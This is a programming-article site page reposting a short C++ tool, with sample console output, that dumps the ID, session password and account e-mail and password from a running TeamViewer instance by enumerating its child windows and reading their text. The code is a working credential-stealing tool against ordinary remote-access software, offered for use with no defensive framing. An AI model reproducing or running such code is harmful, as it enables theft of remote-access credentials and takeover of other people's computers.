获取运行中的TeamViewer的账号和密码
程序员文章站
2022-07-03 20:55:34
Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by en...
Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <iostream> #pragma comment( lib, "kernel32" ) #pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam) { const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "Allow Remote Control") != NULL) { status = 1; printf("TeamViewer ID: "); } if (strstr(BufferContent, "Please tell your partner") != NULL) { status = 1; printf("TeamViewer PASS: "); } return 1; } BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam) { const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "E-mail") != NULL) { status = 1; printf("E-mail: "); } if (strstr(BufferContent, "Password") != NULL) { status = 1; printf("Password: "); } return 1; } int main() { HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer) { EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0); } HWND hwndAccount = FindWindow(NULL, "Computers & Contacts"); if (hwndAccount) { EnumChildWindows(hwndAccount, EnumAccountWindow, 0); } return 0; }
C:\tools\Projects>TeamViewer_Dump.exe TeamViewer ID: 606 151 261 TeamViewer PASS: 3239 E-mail: hacked@account.com Password: FooPassword123 C:\tools\Projects>
下一篇: 华为watchfitnew支持语音助手吗
推荐阅读
-
微信小程序授权 获取用户的openid和session_key【后端使用java语言编写】,我写的是get方式,目的是测试能否获取到微信服务器中的数据,后期我会写上post请求方式。
-
WordPress的主题编写中获取头部模板和底部模板
-
在Window中Oracle中修改用户名和密码的操作方法
-
Winform中设置和获取DevExpress的RadioGroup的选中项的value值
-
WordPress中获取页面链接和标题的相关PHP函数用法解析
-
php中存储用户ID和密码到mysql数据库的方法
-
PHP获取一年中每个星期的开始和结束日期的方法
-
如何快速找回一起作业的账号和密码?
-
Linux系统中时间的获取和使用
-
JS和jQuery通过this获取html标签中的属性值(实例代码)